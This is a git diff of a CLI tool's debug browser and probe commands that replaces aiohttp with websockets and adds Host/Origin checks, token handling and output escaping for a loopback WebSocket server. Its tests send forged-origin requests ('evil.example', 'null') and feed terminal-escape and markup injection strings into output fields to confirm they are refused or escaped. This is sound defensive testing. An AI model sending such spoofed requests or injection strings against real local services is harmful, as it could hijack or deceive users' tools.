+                [
+                    WebSocketMessage(
+                        type=MessageType.INFO,
+                        data={},
+                        message="[bold]x\x1b[2J\u00e9 :smile: y\\\\\\",
+                    )
+                ],
+            )
+            BrowserCommand().display_results(
+                BrowserCapabilities(
+                    **{
+                        key: BrowserCapability(
+                            name=key, supported=True, details="d\\\\\\ :smile:"
+                        )
+                        for key in CAPABILITY_KEYS
+                    },
+                    user_agent="[bold]UA :smile:",
+                    overall_compatible=True,
+                ),
+                [],
+            )
+        text = out.getvalue()
+        assert "[bold]x\\x1b[2J\\xe9 :smile: y\\\\\\" in text
+        assert "d\\\\\\ :smile:" in text
+        assert "User Agent: [bold]UA :smile:" in text
+        assert "[/" not in text
+
+
+class TestBrowserSecurity:
+    """The local server only talks to the page this command opened."""
+
+    @pytest.mark.parametrize(
+        ("port", "host", "origin", "allowed"),
+        [
+            (80, "127.0.0.1", "http://127.0.0.1", True),
+            (80, "localhost", "http://localhost", True),
+            (80, "127.0.0.1:80", "http://127.0.0.1:80", True),
+            (80, "evil.example", "http://127.0.0.1", False),
+            (80, "127.0.0.1", "http://evil.example", False),
+            (3000, "127.0.0.1", "http://127.0.0.1:3000", False),
+            (3000, "127.0.0.1:3000", "http://127.0.0.1", False),
+        ],
+    )
+    def test_bare_host_and_origin_only_on_port_80(self, port, host, origin, allowed):
+        """Browsers leave the default port out of Host and Origin."""
+        from websockets.datastructures import Headers
+        from websockets.http11 import Request
+
+        class Conn:
+            local_address = ("127.0.0.1", port)
+
+            def respond(self, status: int, text: str) -> Any:
+                return Mock(status_code=status, headers=Headers())
 
-        # Check messages were processed
-        assert len(cmd.messages) == 2
-        assert cmd.messages[0].type.value == "info"
-        assert cmd.messages[0].message == "Test message"
-        assert "web_audio_api" in cmd.capabilities_data
-        assert result == mock_ws
+        cmd = BrowserCommand()
+        cmd._token = "tok-123"
+        request = Request(
+            "/ws?t=tok-123",
+            Headers([("Host", host), ("Upgrade", "websocket"), ("Origin", origin)]),
+        )
+        result = cmd._process_request(Conn(), request)  # type: ignore[arg-type]
+        assert (result is None) is allowed
+
+    def test_listens_on_ipv4_loopback_only(self):
+        async def main() -> list[tuple[int, str]]:
+            async with _Server() as srv:
+                return [
+                    (s.family, s.getsockname()[0])
+                    for s in srv.cmd._server.sockets  # type: ignore[union-attr]
+                ]
+
+        assert asyncio.run(main()) == [(socket.AF_INET, "127.0.0.1")]
+
+    def test_page_with_token(self):
+        async def main() -> tuple[int, dict[str, str], bytes]:
+            async with _Server() as srv:
+                page = await _raw(srv.port, _get("/?t=tok-123", srv.port))
+                await asyncio.sleep(0.1)
+                assert srv.cmd.handler_runs == 0
+                return page
+
+        status, headers, body = asyncio.run(main())
+        assert status == 200
+        for name, value in PAGE_HEADERS:
+            assert headers[name.lower()] == value
+        assert "server" not in headers
+        assert b"WS_URL" in body
+        assert "location.host" in body.decode()
+
+    def test_localhost_host_is_accepted(self):
+        async def main() -> int:
+            async with _Server() as srv:
+                req = _get("/?t=tok-123", srv.port, host=f"LOCALHOST:{srv.port}")
+                return (await _raw(srv.port, req))[0]
+
+        assert asyncio.run(main()) == 200
+
+    def test_refusals_are_fixed_text(self):
+        async def main() -> dict[str, tuple[int, bytes]]:
+            out = {}
+            async with _Server() as srv:
+                p = srv.port
+                origin = f"http://127.0.0.1:{p}"
+                cases = {
+                    "page-no-token": _get("/", p),
+                    "page-bad-token": _get("/?t=evil-token", p),
+                    "page-two-tokens": _get("/?t=tok-123&t=tok-123", p),
+                    "page-evil-host": _get("/?t=tok-123", p, host=f"evil.example:{p}"),
+                    "page-wrong-port": _get("/?t=tok-123", p, host="127.0.0.1:1"),
+                    "ws-no-token": _upgrade("/ws", p, Origin=origin),
+                    "ws-bad-token": _upgrade("/ws?t=evil-token", p, Origin=origin),
+                    "ws-evil-host": _upgrade(
+                        "/ws?t=tok-123", p, host=f"evil.example:{p}", Origin=origin
+                    ),
+                    "ws-no-origin": _upgrade("/ws?t=tok-123", p),
+                    "ws-evil-origin": _upgrade(
+                        "/ws?t=tok-123", p, Origin="http://evil.example"
+                    ),
+                    "ws-null-origin": _upgrade("/ws?t=tok-123", p, Origin="null"),
+                    "ws-other-port": _upgrade(
+                        "/ws?t=tok-123", p, Origin="http://127.0.0.1:1"
+                    ),
+                }
+                for name, req in cases.items():
+                    status, _, body = await _raw(p, req)
+                    out[name] = (status, body)
+                await asyncio.sleep(0.1)
+                assert srv.cmd.handler_runs == 0
+            return out
+
+        for name, (status, body) in asyncio.run(main()).items():
+            assert (status, body) == (403, FORBIDDEN.encode()), name
+        assert FORBIDDEN == (
+            "Forbidden. Open the exact link that dg debug browser printed.\n"
+        )
+
+    def test_valid_upgrade_gets_101(self):
+        async def main() -> list[int]:
+            async with _Server() as srv:
+                p = srv.port
+                return [
+                    (await _raw_status_only(p, _upgrade("/ws?t=tok-123", p, Origin=o)))
+                    for o in (f"http://127.0.0.1:{p}", f"http://localhost:{p}")
+                ]
+
+        assert asyncio.run(main()) == [101, 101]
+
+    def test_unknown_path_and_methods(self, caplog):
+        caplog.set_level(logging.DEBUG)
+
+        async def main() -> list[int]:
+            async with _Server() as srv:
+                p = srv.port
+                post = _get("/?t=tok-123", p).replace("GET", "POST", 1)
+                return [
+                    (await _raw(p, _get("/x?t=tok-123", p)))[0],
+                    (await _raw(p, _get("/static/debug.html?t=tok-123", p)))[0],
+                    (await _raw(p, post))[0],
+                ]
+
+        statuses = asyncio.run(main())
+        assert statuses[:2] == [404, 404]
+        # 405 from us on websockets 17; older versions close without a reply
+        assert statuses[2] in (0, 405)
+        assert "Traceback" not in caplog.text
+        assert "tok-123" not in caplog.text
+
+    def test_token_not_in_result_or_report(self, tmp_path):
+        cmd = BrowserCommand()
+        with patch.object(
+            cmd,
+            "run_servers",
+            new=AsyncMock(
+                return_value={"completed": False, "timed_out": True, "duration": 0.0}
+            ),
+        ):
+            result = cmd.handle(
+                config=Mock(),
+                auth_manager=Mock(),
+                client=Mock(),
+                port=_free_port(),
+                no_browser=True,
+                timeout=0,
+                save_report=str(tmp_path / "r.json"),
+            )
+        assert cmd._token
+        assert cmd._token not in result.model_dump_json()
+        assert cmd._token not in (tmp_path / "r.json").read_text()
+
+    def test_end_to_end_page_session(self):
+        """handle() serves the page and completes when the page says so."""
+        from websockets.sync.client import connect
+
+        cmd = BrowserCommand()
+        cmd._guided = False
+        seen = {}
+
+        def page(url: str) -> None:
+            parts = urlsplit(url)
+            seen["url"] = url
+            ws_url = f"ws://{parts.netloc}/ws?{parts.query}"
+            with connect(ws_url, origin=f"http://{parts.netloc}") as ws:
+                ws.send(json.dumps({"type": "info", "message": "hi", "data": {}}))
+                ws.send(json.dumps({"type": "complete", "data": {}}))
+
+        def open_browser(url: str) -> bool:
+            threading.Thread(target=page, args=(url,), daemon=True).start()
+            return True
+
+        with patch(
+            "deepctl_cmd_debug_browser.command.webbrowser.open",
+            side_effect=open_browser,
+        ):
+            result = cmd.handle(
+                config=Mock(),
+                auth_manager=Mock(),
+                client=Mock(),
+                port=None,
+                no_browser=False,
+                timeout=20,
+            )
+        assert result.status == "success"
+        assert [m.message for m in result.messages] == ["hi", None]
+        assert seen["url"] == f"http://127.0.0.1:{result.port}/?t={cmd._token}"
+
+
+async def _raw_status_only(port: int, request: str) -> int:
+    """Status of an upgrade request (the connection stays open on 101)."""
+    reader, writer = await asyncio.open_connection("127.0.0.1", port)
+    writer.write(request.encode("latin-1"))
+    await writer.drain()
+    line = await asyncio.wait_for(reader.readline(), 10)
+    writer.close()
+    return int(line.split()[1])
 
 
 class TestBrowserGuidedGate:
@@ -189,26 +626,16 @@ def _run_handle(self, guided: bool):
         cmd._guided = guided
         called = {"input": 0, "open": 0}
 
-        with patch("builtins.input", side_effect=lambda: called.__setitem__("input", called["input"] + 1)), patch(
-            "deepctl_cmd_debug_browser.command.webbrowser.open",
-            side_effect=lambda _url: called.__setitem__("open", called["open"] + 1),
-        ), patch.object(
-            cmd, "find_available_port", return_value=3100
-        ), patch(
-            "deepctl_cmd_debug_browser.command.web.AppRunner"
-        ) as mock_runner_cls, patch(
-            "deepctl_cmd_debug_browser.command.web.TCPSite"
-        ) as mock_site_cls, patch(
-            "deepctl_cmd_debug_browser.command.asyncio.sleep",
-            new=AsyncMock(),
+        with (
+            patch(
+                "builtins.input",
+                side_effect=lambda: called.__setitem__("input", called["input"] + 1),
+            ),
+            patch(
+                "deepctl_cmd_debug_browser.command.webbrowser.open",
+                side_effect=lambda _url: called.__setitem__("open", called["open"] + 1),
+            ),
         ):
-            mock_runner = AsyncMock()
-            mock_runner_cls.return_value = mock_runner
-            mock_runner.setup = AsyncMock()
-            mock_runner.cleanup = AsyncMock()
-            mock_site = AsyncMock()
-            mock_site_cls.return_value = mock_site
-            mock_site.start = AsyncMock()
             cmd.handle(
                 config=Mock(),
                 auth_manager=Mock(),
@@ -229,3 +656,182 @@ def test_non_guided_invocation_opens_browser_immediately(self):
         called = self._run_handle(guided=False)
         assert called["input"] == 0
         assert called["open"] == 1
+
+
+IMPORT_CHECK = (
+    "import sys, deepctl_core; before = set(sys.modules); "
+    "import deepctl_cmd_debug_browser.command; "
+    "bad = sorted(m for m in set(sys.modules) - before for f in "
+    "('asyncio', 'ssl', 'websockets', 'aiohttp') if m == f or m.startswith(f + '.')); "
+    "print(' '.join(bad))"
+)
+
+
+def test_command_module_adds_no_network_stack_on_import():
+    """`dg debug browser --help` must not pay for websockets or asyncio."""
+    import subprocess
+    import sys
+
+    proc = subprocess.run(
+        [sys.executable, "-c", IMPORT_CHECK],
+        capture_output=True,
+        text=True,
+        timeout=120,
+    )
+    assert proc.returncode == 0, proc.stderr[-1500:]
+    assert proc.stdout.strip() == ""
+
+
+def _flat(text: str) -> str:
+    return " ".join(text.split())
+
+
+def _timed_out(cmd: BrowserCommand) -> Any:
+    return patch.object(
+        cmd,
+        "run_servers",
+        new=AsyncMock(
+            return_value={"completed": False, "timed_out": True, "duration": 0.0}
+        ),
+    )
+
+
+class TestBrowserLinkLines:
+    """Every mode shows the page link, on stderr only."""
+
+    @pytest.mark.parametrize(
+        ("no_browser", "guided", "lead", "note"),
+        [
+            (
+                True,
+                False,
+                "Open this link in your browser to start debugging:",
+                "It works only while this command runs.",
+            ),
+            (
+                False,
+                False,
+                "Opening the debugger in your browser:",
+                "If it doesn't open, paste the link into your browser. "
+                "It works only while this command runs.",
+            ),
+            (
+                False,
+                True,
+                "Opening the debugger in your browser:",
+                "If it doesn't open, paste the link into your browser. "
+                "It works only while this command runs.",
+            ),
+        ],
+        ids=["no-browser", "auto-open", "guided"],
+    )
+    def test_link_is_shown_on_stderr(self, no_browser, guided, lead, note, capsys):
+        cmd = BrowserCommand()
+        cmd._guided = guided
+        order: list[str] = []
+        before: list[str] = []
+
+        def enter() -> str:
+            order.append("enter")
+            out, err = capsys.readouterr()
+            before.append(out)
+            assert "?t=" not in err  # the link comes after Enter
+            return ""
+
+        with (
+            _timed_out(cmd),
+            patch("builtins.input", side_effect=enter),
+            patch(
+                "deepctl_cmd_debug_browser.command.webbrowser.open",
+                side_effect=lambda url: order.append("open") or True,
+            ),
+        ):
+            result = cmd.handle(
+                config=Mock(),
+                auth_manager=Mock(),
+                client=Mock(),
+                port=None,
+                no_browser=no_browser,
+                timeout=0,
+            )
+        out, err = capsys.readouterr()
+        url = f"http://127.0.0.1:{result.port}/?t={cmd._token}"
+        assert "".join(before) + out == ""
+        assert f"{lead} {url}\n" in err  # the whole link on one line
+        assert note in _flat(err)
+        assert order == ([] if no_browser else (["enter"] if guided else []) + ["open"])
+
+    def test_left_out_line_names_only_non_zero_parts(self, capsys):
+        cmd = BrowserCommand()
+        result = {"completed": False, "timed_out": False, "duration": 0.0}
+        for messages, names, line in [
+            (0, 0, None),
+            (1, 0, "Left out of the results: 1 message over the size limit"),
+            (0, 1, "Left out of the results: 1 unknown capability name"),
+            (
+                3,
+                2,
+                "Left out of the results: 3 messages over the size limit, "
+                "2 unknown capability names",
+            ),
+        ]:
+            cmd.dropped_messages, cmd.dropped_capabilities = messages, names
+            cmd._finish(0, 0, None, result)
+            err = _flat(capsys.readouterr().err)
+            if line is None:
+                assert "Left out" not in err
+            else:
+                assert line in err
+
+
+def test_link_token_reaches_stderr_only(tmp_path):
+    """`dg -o json debug browser`: the token-bearing link is printed to stderr
+    and nowhere else: not stdout (the JSON result), the saved report, or any
+    log record at DEBUG."""
+    import os
+    import re
+    import subprocess
+    import sys
+
+    script = (
+        "import logging, sys\n"
+        "from deepctl.main import main\n"
+        "log_path, report_path = sys.argv[1], sys.argv[2]\n"
+        "class Keep(logging.Handler):\n"
+        "    def emit(self, record):\n"
+        "        with open(log_path, 'a') as f:\n"
+        "            f.write(self.format(record) + '\\n')\n"
+        "logging.basicConfig(level=logging.DEBUG, handlers=[Keep()], force=True)\n"
+        "sys.argv = ['dg', '-o', 'json', 'debug', 'browser', '--no-browser',\n"
+        "            '--timeout', '1', '--save-report', report_path]\n"
+        "main()\n"
+    )
+    log, report = tmp_path / "log.txt", tmp_path / "report.json"
+    log.write_text("")
+    env = {
+        **os.environ,
+        "HOME": str(tmp_path),
+        "DEEPCTL_TELEMETRY_DISABLED": "1",
+        "DEEPCTL_TELEMETRY_DSN": "http://k@127.0.0.1:9/1",
+    }
+    proc = subprocess.run(
+        [sys.executable, "-c", script, str(log), str(report)],
+        capture_output=True,
+        text=True,
+        timeout=120,
+        env=env,
+        stdin=subprocess.DEVNULL,
+        cwd=tmp_path,
+    )
+    found = re.findall(r"http://127\.0\.0\.1:\d+/\?t=([A-Za-z0-9_-]+)", proc.stderr)
+    assert len(found) == 1, proc.stderr[-2000:]
+    token = found[0]
+    assert json.loads(proc.stdout)["status"] == "timeout"
+    for where, text in [
+        ("stdout", proc.stdout),
+        ("report", report.read_text()),
+        ("log", log.read_text()),
+    ]:
+        assert token not in text, where
+        assert "?t=" not in text, where
+    assert log.read_text(), "the DEBUG handler saw no records"
diff --git a/packages/deepctl-cmd-debug-browser/tests/unit/test_websockets_floor.py b/packages/deepctl-cmd-debug-browser/tests/unit/test_websockets_floor.py
new file mode 100644
index 00000000..a20bf8fa
--- /dev/null
+++ b/packages/deepctl-cmd-debug-browser/tests/unit/test_websockets_floor.py
@@ -0,0 +1,22 @@
+"""Every package that imports websockets declares the same floor.
+
+13.1 is the oldest release the redirect matrix covers for each socket
+dg opens (listen, Flux speak, the debug probe and this server).
+"""
+
+from __future__ import annotations
+
+import re
+from pathlib import Path
+
+PACKAGES = Path(__file__).resolve().parents[3]
+
+
+def test_websockets_floor_matches_across_packages():
+    floors = {}
+    for toml in sorted(PACKAGES.glob("*/pyproject.toml")):
+        found = re.findall(r'"websockets([^"]*)"', toml.read_text(encoding="utf-8"))
+        if found:
+            floors[toml.parent.name] = found
+    assert "deepctl-cmd-debug-browser" in floors
+    assert {spec for specs in floors.values() for spec in specs} == {">=13.1,<18"}, floors
diff --git a/packages/deepctl-cmd-debug-probe/README.md b/packages/deepctl-cmd-debug-probe/README.md
index 4afe3808..dbb70ddb 100644
--- a/packages/deepctl-cmd-debug-probe/README.md
+++ b/packages/deepctl-cmd-debug-probe/README.md
@@ -38,7 +38,7 @@ pipx run deepctl --help
 - `click>=8.2.0,<9`
 - `rich>=13.0.0,<16`
 - `pydantic>=2.0.0,<3`
-- `aiohttp>=3.11.0`
+- `websockets>=13.0,<18`
 
 ## License
 
diff --git a/packages/deepctl-cmd-debug-probe/pyproject.toml b/packages/deepctl-cmd-debug-probe/pyproject.toml
index 2b373fcb..841f49c4 100644
--- a/packages/deepctl-cmd-debug-probe/pyproject.toml
+++ b/packages/deepctl-cmd-debug-probe/pyproject.toml
@@ -27,7 +27,7 @@ dependencies = [
     "click>=8.2.0,<9",
     "rich>=13.0.0,<16",
     "pydantic>=2.0.0,<3",
-    "aiohttp>=3.11.0",
+    "websockets>=13.1,<18",
 ]
 
 [project.scripts]
diff --git a/packages/deepctl-cmd-debug-probe/src/deepctl_cmd_debug_probe/access.py b/packages/deepctl-cmd-debug-probe/src/deepctl_cmd_debug_probe/access.py
new file mode 100644
index 00000000..73013b9c
--- /dev/null
+++ b/packages/deepctl-cmd-debug-probe/src/deepctl_cmd_debug_probe/access.py
@@ -0,0 +1,63 @@
+"""Which local clients may use the probe proxy, and how request-derived text
+is printed.
+
+Host names this listener, and an Origin, if sent, is a page on this machine.
+"""
+
+from __future__ import annotations
+
+import re
+
+from rich.text import Text
+
+# Browsers send Origin on every WebSocket handshake; native clients usually
+# send none. Only pages served from this machine may use the proxy.
+LOOPBACK_ORIGIN = re.compile(
+    r"https?://(?:localhost|127\.0\.0\.1|\[::1\])(?::[0-9]{1,5})?"
+)
+_CONTROL = re.compile(r"[\x00-\x1f\x7f]")
+_C0_C1_DEL = re.compile(r"[\x00-\x1f\x7f-\x9f]")
+
+
+def allowed_hosts(port: int) -> set[str]:
+    """Host values that name a listener on 127.0.0.1:`port`."""
+    hosts = {f"127.0.0.1:{port}", f"localhost:{port}"}
+    if port == 80:
+        hosts |= {"127.0.0.1", "localhost"}
+    return hosts
+
+
+def refusal_reason(hosts: list[str], origins: list[str], port: int) -> str | None:
+    """ "host" or "origin" if the request is refused, None to accept it.
+
+    Host must be 127.0.0.1:PORT or localhost:PORT in any case (a bare host
+    on port 80). Origin may be absent (native clients) or a loopback page
+    origin; anything else, "null" included, is refused.
+    """
+    if len(hosts) != 1 or hosts[0].lower() not in allowed_hosts(port):
+        return "host"
+    if origins and (
+        len(origins) != 1 or not LOOPBACK_ORIGIN.fullmatch(origins[0].lower())
+    ):
+        return "origin"
+    return None
+
+
+def printable(text: str) -> str:
+    """`text` from a request as plain ASCII: control characters and anything
+    non-ASCII become backslash escapes."""
+    text = text.encode("ascii", "backslashreplace").decode("ascii")
+    return _CONTROL.sub(lambda m: f"\\x{ord(m.group()):02x}", text)
+
+
+def untrusted(text: str, style: str = "") -> Text:
+    """`text` from a request for rich to print as it is: a Text object, so
+    neither markup nor :emoji: codes in it are interpreted."""
+    return Text(printable(text), style=style)
+
+
+def readable(text: str, style: str = "") -> Text:
+    """Text from upstream (transcripts) for rich to print as it is: a Text
+    object, so markup and :emoji: codes aren't interpreted, with C0 and C1
+    control characters and DEL removed and all other Unicode kept."""
+    return Text(_C0_C1_DEL.sub("", text), style=style)
diff --git a/packages/deepctl-cmd-debug-probe/src/deepctl_cmd_debug_probe/command.py b/packages/deepctl-cmd-debug-probe/src/deepctl_cmd_debug_probe/command.py
index 9a800cdd..fd67c637 100644
--- a/packages/deepctl-cmd-debug-probe/src/deepctl_cmd_debug_probe/command.py
+++ b/packages/deepctl-cmd-debug-probe/src/deepctl_cmd_debug_probe/command.py
@@ -28,6 +28,30 @@ def _find_available_port(start: int = 3100, end: int = 3199) -> int | None:
     return None
 
 
+def _handle_sigint(loop: Any, callback: Any) -> tuple[bool, Any]:
+    """Run `callback` on the event loop for SIGINT (POSIX), so Ctrl+C never
+    lands inside a connection handler. Returns whether it was installed and
+    the handler it replaced, to put back afterwards.
+
+    SIGINT is left exactly as it is when it isn't ours to replace: ignored
+    (a background job in a script starts with SIGINT ignored, or `trap ''
+    INT`), so the proxy keeps running as before; or a handler not installed
+    from Python (`signal.getsignal` returns None), which `signal.signal`
+    couldn't restore. Where the loop can't take signals (Windows), Ctrl+C
+    raises KeyboardInterrupt instead.
+    """
+    import signal
+
+    previous = signal.getsignal(signal.SIGINT)
+    if previous is signal.SIG_IGN or previous is None:
+        return False, previous
+    try:
+        loop.add_signal_handler(signal.SIGINT, callback)
+    except (NotImplementedError, RuntimeError, ValueError):
+        return False, previous
+    return True, previous
+
+
 class ProbeCommand(BaseCommand):
     """WebSocket proxy with periodic ffprobe analysis of streaming audio."""
 
@@ -95,8 +119,7 @@ def handle(
     ) -> Any:
         """Handle debug probe command execution."""
         import asyncio
-
-        from aiohttp import web
+        import signal
 
         from .proxy import ProbeProxy
 
@@ -173,27 +196,40 @@ def handle(
 
         # Run the proxy server
         start_time = time.time()
-        app = web.Application()
-        app.router.add_route("GET", "/{path:.*}", proxy.handle_connection)
-
+        loop = asyncio.new_event_loop()
+        asyncio.set_event_loop(loop)
+
+        def interrupt() -> None:
+            """First Ctrl+C: stop listening, let open connections finish and
+            print their summaries. Second: end them now."""
+            if proxy._stop.is_set():
+                proxy.abort()
+            else:
+                console.print("\n[yellow]Shutting down probe proxy...[/yellow]")
+                proxy._stop.set()
+
+        installed, previous = _handle_sigint(loop, interrupt)
+        serve_task = loop.create_task(proxy.run(port))
         try:
-            loop = asyncio.new_event_loop()
-            asyncio.set_event_loop(loop)
-
-            runner = web.AppRunner(app)
-            loop.run_until_complete(runner.setup())
-
-            site = web.TCPSite(runner, "127.0.0.1", port)
-            loop.run_until_complete(site.start())
-
-            # Run until Ctrl+C
-            loop.run_forever()
-
-        except KeyboardInterrupt:
-            console.print("\n[yellow]Shutting down probe proxy...[/yellow]")
+            while True:
+                try:
+                    # Run until Ctrl+C
+                    loop.run_until_complete(serve_task)
+                    break
+                except KeyboardInterrupt:
+                    # Windows, or wherever the loop doesn't take SIGINT.
+                    if serve_task.done():  # it landed inside the task
+                        serve_task.exception()
+                        break
+                    interrupt()
         finally:
-            loop.run_until_complete(runner.cleanup())
-            loop.close()
+            try:
+                loop.run_until_complete(loop.shutdown_default_executor())
+            finally:
+                if installed:
+                    loop.remove_signal_handler(signal.SIGINT)
+                    signal.signal(signal.SIGINT, previous)
+                loop.close()
 
         duration = time.time() - start_time
 
diff --git a/packages/deepctl-cmd-debug-probe/src/deepctl_cmd_debug_probe/proxy.py b/packages/deepctl-cmd-debug-probe/src/deepctl_cmd_debug_probe/proxy.py
index b4488342..ba2834cd 100644
--- a/packages/deepctl-cmd-debug-probe/src/deepctl_cmd_debug_probe/proxy.py
+++ b/packages/deepctl-cmd-debug-probe/src/deepctl_cmd_debug_probe/proxy.py
@@ -3,56 +3,61 @@
 from __future__ import annotations
 
 import asyncio
+import contextlib
 import json
-import re
+import logging
+import os
+import signal
+import tempfile
 import time
 import uuid
-from typing import TYPE_CHECKING
+from typing import TYPE_CHECKING, Any
+from urllib.parse import urlsplit
 
-import aiohttp
-from aiohttp import web
-from deepctl_core.websocket import RedirectRefused, redirect_refused
-from deepctl_shared_utils import probe_buffer
+from deepctl_core.websocket import RedirectRefused
+from deepctl_shared_utils.ffprobe import (
+    _parse_probe_data,  # lockstep sibling; same parsing as probe_buffer
+    get_ffprobe_path,
+)
 from rich.console import Console
-from rich.markup import escape
+from rich.text import Text
+from websockets.asyncio.server import Server, ServerConnection, serve
+from websockets.exceptions import ConnectionClosed, WebSocketException
 
+from .access import readable, refusal_reason, untrusted
 from .models import ProbeConnectionStats, ProbeSnapshot
 
 if TYPE_CHECKING:
     from deepctl_core import Config
+    from deepctl_shared_utils.ffprobe_models import AudioProbeResult
+    from websockets.asyncio.client import ClientConnection
+    from websockets.http11 import Request, Response
 
 console = Console()
 
-# Browsers send Origin on every WebSocket handshake; native clients usually
-# send none. Only pages served from this machine may use the proxy.
-_LOOPBACK_ORIGIN = re.compile(
-    r"https?://(?:localhost|127\.0\.0\.1|\[::1\])(?::[0-9]{1,5})?"
-)
+# Frames up to 4 MiB each way, the limit earlier releases allowed.
+MAX_FRAME_BYTES = 4 * 2**20
 
 
-def _refuse_redirects(upstream_url: str) -> aiohttp.TraceConfig:
-    """A trace hook that stops aiohttp before it follows a redirect.
+def _quiet_logger(name: str) -> logging.Logger:
+    """A logger that never writes headers (the upstream one carries the API
+    key) anywhere, whatever the root logger's level or handlers."""
+    logger = logging.getLogger(f"deepctl.debug.probe.{name}")
+    if not logger.handlers:
+        logger.addHandler(logging.NullHandler())
+    logger.propagate = False
+    logger.setLevel(logging.CRITICAL + 1)
+    return logger
 
-    aiohttp's ws_connect has no allow_redirects switch; it follows a 3xx
-    on the upgrade and would then stream the audio to the new host. The
-    hook runs after the 3xx arrives and before any request to the new
-    location, so nothing reaches it.
-    """
 
-    async def on_redirect(
-        _session: aiohttp.ClientSession,
-        _ctx: object,
-        params: aiohttp.TraceRequestRedirectParams,
-    ) -> None:
-        location = params.response.headers.get("Location")
-        params.response.close()
-        raise redirect_refused(
-            upstream_url, location, command="dg debug probe", payload="audio"
-        )
+def _refuse(connection: ServerConnection, status: int, text: str) -> Response:
+    """A fixed plain-text response; nothing from the request is echoed.
 
-    trace = aiohttp.TraceConfig()
-    trace.on_request_redirect.append(on_redirect)
-    return trace
+    connection.respond() also marks the handshake as refused, so websockets
+    never runs the handler, and never connects upstream, for it (13.x would
+    for a hand-built Response).
+    """
+    return connection.respond(status, text)
 
 
 class ProbeProxy:
@@ -78,6 +83,17 @@ def __init__(
         self.probe_interval_seconds = probe_interval_seconds
         self.verbose = verbose
         self.connections: list[ProbeConnectionStats] = []
+        # Where connections go: wss:// plus the fixed host, then the client's
+        # path and query. Tests point it at a loopback ws:// server.
+        self._upstream_base = f"wss://{upstream_host}"
+        self._stop = asyncio.Event()
+        # Open client and upstream connections, and pending upstream
+        # connects, so a second Ctrl+C can end them at once.
+        self._live: set[Any] = set()
+        self._connecting: set[asyncio.Future[Any]] = set()
+        self._aborting = False
+        self._ffprobes: set[asyncio.subprocess.Process] = set()
+        self._reaping: set[asyncio.Future[None]] = set()
 
     def _detect_stream_type(self, path: str) -> str:
         """Detect stream type from the request path."""
@@ -89,48 +105,105 @@ def _detect_stream_type(self, path: str) -> str:
             return "agent"
         return "unknown"
 
-    def _refusal_reason(self, request: web.Request) -> str | None:
-        """Return why a connection is refused, or None to accept it.
-
-        Host must name this listener as 127.0.0.1:PORT or localhost:PORT.
-        Origin may be absent (native clients) or a loopback page origin;
-        anything else, including "null", is refused.
+    def process_request(
+        self, connection: ServerConnection, request: Request
+    ) -> Response | None:
+        """Accept only a WebSocket upgrade from a local page or a native
+        client, checked before the handshake and before any upstream
+        connection: the Host must name this listener and an Origin, if sent,
+        must be a page on this machine (see `access`).
         """
-        sockname = (
-            request.transport.get_extra_info("sockname")
-            if request.transport is not None
-            else None
+        # websockets < 17 closes the connection on other methods itself,
+        # without a response.
+        if getattr(request, "method", "GET") != "GET":
+            return _refuse(connection, 405, "Method not allowed.\n")
+        if not request.path.startswith("/"):
+            return _refuse(connection, 400, "Bad request.\n")
+        origins = request.headers.get_all("Origin")
+        reason = refusal_reason(
+            request.headers.get_all("Host"), origins, connection.local_address[1]
         )
-        if not sockname:
-            return "host"
-        port = sockname[1]
-        allowed_hosts = {f"127.0.0.1:{port}", f"localhost:{port}"}
-        if port == 80:
-            allowed_hosts |= {"127.0.0.1", "localhost"}
-        hosts = request.headers.getall("Host", [])
-        if len(hosts) != 1 or hosts[0].lower() not in allowed_hosts:
-            return "host"
-        origins = request.headers.getall("Origin", [])
-        if not origins:
-            return None
-        if len(origins) != 1 or not _LOOPBACK_ORIGIN.fullmatch(origins[0].lower()):
-            return "origin"
+        if reason == "origin":
+            console.print(
+                Text("Refused a connection from ", style="yellow"),
+                untrusted(", ".join(origins)),
+                Text(": only pages on this machine can connect.", style="yellow"),
+                sep="",
+            )
+        if reason is not None:
+            return _refuse(connection, 403, "Forbidden.\n")
+        if "websocket" not in request.headers.get("Upgrade", "").lower():
+            return _refuse(connection, 400, "Bad request.\n")
         return None
 
-    async def handle_connection(self, request: web.Request) -> web.StreamResponse:
-        """Handle an incoming WebSocket connection."""
-        # Checked before the handshake and before anything is sent upstream.
-        reason = self._refusal_reason(request)
-        if reason is not None:
-            console.print(escape(f"[conn] refused: {reason} not allowed"))
-            return web.Response(status=403, text="Forbidden\n")
+    async def _connect_upstream(
+        self, url: str, headers: dict[str, str]
+    ) -> ClientConnection:
+        """Open the upstream WebSocket. The API key goes only here, and a
+        redirect on the upgrade is refused (``RedirectRefused``), never
+        followed."""
+        from deepctl_core.websocket import open_async
+
+        conn: ClientConnection = await open_async(
+            url,
+            headers,
+            command="dg debug probe",
+            payload="audio",
+            open_timeout=10,
+            close_timeout=30,
+            max_size=MAX_FRAME_BYTES,
+            compression=None,
+            ping_interval=None,
+            logger=_quiet_logger("upstream"),
+        )
+        return conn
+
+    async def start(self, port: int) -> Server:
+        """Listen on 127.0.0.1:`port` (0 for any free port)."""
+        server: Server = await serve(
+            self.handle_connection,
+            "127.0.0.1",
+            port,
+            process_request=self.process_request,
+            max_size=MAX_FRAME_BYTES,
+            ping_interval=None,
+            server_header=None,
+            logger=_quiet_logger("server"),
+        )
+        return server
 
-        ws_client = web.WebSocketResponse()
-        await ws_client.prepare(request)
+    def abort(self) -> None:
+        """End every open connection now, without close handshakes.
 
+        For a second Ctrl+C: running ffprobe snapshots are stopped and the
+        final probe is skipped; each handler still prints its summary, and
+        `run` returns once they have.
+        """
+        self._aborting = True
+        self._stop.set()
+        for task in list(self._connecting):
+            task.cancel()
+        for conn in list(self._live):
+            conn.transport.abort()
+        for proc in list(self._ffprobes):
+            self._reaping.add(asyncio.ensure_future(self._stop_ffprobe(proc)))
+
+    async def run(self, port: int) -> None:
+        """Serve until `_stop` is set or this task is cancelled; then close
+        the listener and wait for every connection's summary."""
+        server = await self.start(port)
+        try:
+            await self._stop.wait()
+        finally:
+            server.close()
+            await server.wait_closed()
+            await asyncio.gather(*self._reaping)
+
+    async def handle_connection(self, ws_client: ServerConnection) -> None:
+        """Handle an incoming WebSocket connection."""
         conn_id = str(uuid.uuid4())[:8]
-        path = request.path
-        query_string = request.query_string
+        target = ws_client.request.path  # type: ignore[union-attr]
+        path = urlsplit(target).path
         stream_type = self._detect_stream_type(path)
 
         stats = ProbeConnectionStats(
@@ -140,56 +213,88 @@ async def handle_connection(self, request: web.Request) -> web.StreamResponse:
         )
         self.connections.append(stats)
 
-        upstream_url = f"wss://{self.upstream_host}{path}"
-        if query_string:
-            upstream_url = f"{upstream_url}?{query_string}"
